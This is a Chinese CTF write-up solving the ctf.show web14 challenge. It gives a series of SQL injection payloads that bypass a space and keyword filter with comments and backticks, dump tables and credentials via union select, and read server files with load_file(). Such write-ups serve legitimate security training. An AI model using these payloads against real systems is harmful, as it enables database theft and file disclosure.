1. 程式人生 > 其它 >CTF.show:web14

CTF.show:web14

技術標籤:CTF.showCTF_Web_Writeup

開啟來後執行語句得到提示

?c=3

當c為3時,不會退出迴圈,進而執行下一個case語句得到url
here_1s_your_f1ag.php
進入之後發現是一道注入題目
檢視原始碼發現存在提示

if(preg_match('/information_schema\.tables|information_schema\.columns|linestring| |polygon/is', $_GET['query'])){
		die('@[email protected]');

老樣子先爆庫名

/here_1s_your_f1ag.
php?query=-1/**/union/**/select/**/database()

在這裡插入圖片描述
然後爆表名,因為被過濾了一些數,但是我們可以利用反引號`進行繞過。

反引號:它是為了區分MYSQL的保留字與普通字元而引入的符號。
例如information_schema.tables和information_schema.tables都可以使用。

/here_1s_your_f1ag.php?query=-1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.`tables`/**/where/**/table_schema=database
()

在這裡插入圖片描述
爆欄位名

/here_1s_your_f1ag.php?query=-1/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.`columns`/**/where/**/table_name='content'

在這裡插入圖片描述
爆值

?query=-1/**/union/**/select/**/group_concat(id,username,password)/**/from/**/content

在這裡插入圖片描述
沒有flag但是有提示。結合一開始說包含secret.php,構造語句
mysql提供了讀取本地檔案的函式load_file()

?query=
-1/**/union/**/select/**/load_file('/var/www/html/secret.php')

在原始碼中發現語句

<?php
$url = 'here_1s_your_f1ag.php';
$file = '/tmp/gtf1y';
if(trim(@file_get_contents($file)) === 'ctf.show'){
	echo file_get_contents('/real_flag_is_here');
}')

可以得知,如果我們的檔案/tmp/gtf1y中的內容為ctf.show則輸出/real_flag_is_here中的值,所以我們直接將/real_flag_is_here讀取即可得到flag。

?query=-1/**/union/**/select/**/load_file('/real_flag_is_here')

在原始碼中找到flag
在這裡插入圖片描述